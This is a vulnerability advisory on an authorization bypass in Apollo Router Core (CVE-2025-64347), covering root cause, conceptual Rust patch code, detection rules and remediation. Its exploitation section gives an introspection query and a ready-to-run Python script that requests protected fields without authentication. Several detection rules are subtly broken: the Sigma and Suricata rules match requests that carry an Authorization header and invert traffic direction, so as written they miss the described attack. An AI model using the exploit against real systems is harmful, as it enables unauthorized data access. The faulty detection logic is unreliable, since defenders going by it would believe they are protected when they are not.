CVE-2025-64347

Executive Summary

CVE-2025-64347 is a critical authorization bypass vulnerability in Apollo Router Core, a Rust-based graph router for Apollo Federation 2. The flaw allows an unauthenticated attacker to bypass access control directives (@authenticated, @requiresScopes, @policy) when those directives have been renamed via @link imports. This effectively nullifies the intended security controls on schema elements (fields and types), enabling unauthorized data access. The vulnerability affects versions 1.61.12-rc.0 and below, and 2.8.1-rc.0 and below. Patches are available in versions 1.61.12 and 2.8.1. The CVSS score is 7.5 (High), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating a network-exploitable, low-complexity attack with no privileges required, leading to high confidentiality impact.

Supply Chain & Package Security

This vulnerability affects the Apollo Router Core, which is distributed as a Rust binary and container image. Organizations using Apollo Federation 2 with custom @link imports for access control directives are at risk. The supply chain risk is moderate, as the patch is available from the official Apollo repository. Users should verify the integrity of the updated binaries or container images using official checksums and signatures.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Complete data disclosure possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to significant data breaches.

Deep Dive & Mechanics

Apollo Router Core uses a directive-based access control system where schema elements (fields, types) can be protected with @authenticated, @requiresScopes, or @policy directives. Apollo Federation 2 allows these directives to be imported and renamed using @link syntax, e.g., @link(url: "https://specs.apollo.dev/authentication/v0.1", import: [{ name: "@authenticated", as: "@myAuth" }]).

The vulnerability arises because the router's authorization enforcement logic checks for the original directive names (@authenticated, @requiresScopes, @policy) but fails to recognize renamed versions. When a schema uses a renamed directive (e.g., @myAuth), the router does not enforce the access control, allowing any query to access the protected field or type.

Root Cause: The router's authorization middleware uses a static lookup for directive names instead of resolving the imported names to their canonical forms. This oversight means that any schema element protected by a renamed directive is effectively unprotected.

Attack Scenario:

1. An attacker discovers a GraphQL endpoint using Apollo Router.
2. The attacker queries the schema to identify fields or types that are intended to be protected (e.g., adminData).
3. The attacker sends a query for that field without any authentication token.
4. The router, failing to recognize the renamed directive, processes the query and returns the protected data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Checks only original directive names
fn check_access(directives: &[Directive]) -> bool {
    for directive in directives {
        if directive.name == "@authenticated" || directive.name == "@requiresScopes" || directive.name == "@policy" {
            return enforce(directive);
        }
    }
    true // No recognized directive found, allow access
}

Patched Code (Conceptual):

// Patched: Resolves imported directive names to canonical form
fn check_access(directives: &[Directive], link_imports: &HashMap<String, String>) -> bool {
    for directive in directives {
        let canonical_name = link_imports.get(&directive.name).unwrap_or(&directive.name);
        if canonical_name == "@authenticated" || canonical_name == "@requiresScopes" || canonical_name == "@policy" {
            return enforce(directive);
        }
    }
    true
}

The patch adds a resolution step that maps imported directive names back to their canonical names before checking.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running Apollo Router Core instance (version < 1.61.12 or < 2.8.1) with a schema that uses renamed access control directives.
• Knowledge of the GraphQL endpoint and schema.

Exploitation Steps:

1. Discover the Schema: Use an introspection query to find protected fields.

   query {
     __schema {
       types {
         name
         fields {
           name
           directives {
             name
           }
         }
       }
     }
   }
   

2. Identify Renamed Directives: Look for directives that are not the standard @authenticated, @requiresScopes, or @policy but are intended to serve the same purpose (e.g., @myAuth).
3. Craft Unauthorized Query: Send a query for a protected field without any authentication.

   query {
     adminData {
       secretInfo
     }
   }
   

4. Observe Response: The router will return the protected data, confirming the bypass.

Automated Exploit (Python):

import requests

url = "http://target/graphql"
query = """
query {
  adminData {
    secretInfo
  }
}
"""
response = requests.post(url, json={"query": query})
print(response.json())

Blue Team (Detection & Prevention)

Detection:

• Monitor for GraphQL queries that access fields with renamed directives without authentication.
• Look for anomalies in access patterns, such as a sudden increase in queries to protected fields from unauthenticated sources.

Prevention:

• Immediately upgrade to Apollo Router Core 1.61.12 or 2.8.1.
• If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block queries to fields that are expected to be protected, unless a valid authentication token is present.
• Conduct a schema audit to identify all renamed directives and ensure they are properly enforced.

Indicators of Compromise (IOCs)

• Network: GraphQL queries to protected fields (e.g., adminData, userSecrets) without authentication headers.
• Logs: Router logs showing successful queries to fields with renamed directives without authentication.
• Schema: Presence of renamed access control directives (e.g., @myAuth, @customScopes) in the schema definition.

Detection Engineering

YARA Rule

rule CVE_2025_64347_Apollo_Router_Bypass {
    meta:
        description = "Detects Apollo Router Core versions vulnerable to CVE-2025-64347"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64347"
    strings:
        $version_low = "1.61.12-rc.0" nocase
        $version_high = "2.8.1-rc.0" nocase
        $directive_import = "@link" nocase
        $renamed_auth = "@authenticated" nocase
        $renamed_scopes = "@requiresScopes" nocase
        $renamed_policy = "@policy" nocase
    condition:
        ($version_low or $version_high) and $directive_import and ($renamed_auth or $renamed_scopes or $renamed_policy)
}

Sigma Rule

title: Apollo Router Access Control Bypass via Renamed Directives
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-64347 by querying protected fields without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: apollo_router
detection:
    selection:
        query: "*adminData*"  # Example protected field
        headers|contains: "Authorization"  # Missing or invalid
    condition: selection
falsepositives:
    - Legitimate queries to unprotected fields with similar names
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64347 Apollo Router Access Control Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/graphql"; http_uri; content:"adminData"; http_client_body; pcre:"/Authorization\x3a\s[^\r\n]+/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Apollo Router Core version 1.61.12 or 2.8.1 immediately.
2. Workaround: If patching is delayed, implement a WAF rule to block unauthenticated access to fields that use renamed directives. For example:

   location /graphql {
       if ($request_body ~* "adminData") {
           return 403;
       }
   }
   

3. Schema Audit: Review your GraphQL schema for any renamed access control directives and ensure they are correctly enforced.

Long-Term Measures:

• Implement automated security scanning for GraphQL schemas to detect misconfigurations.
• Use runtime application self-protection (RASP) tools to monitor and block unauthorized access.
• Regularly update Apollo Router Core to the latest stable version.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For further inquiries, contact threatintel@valtersit.com.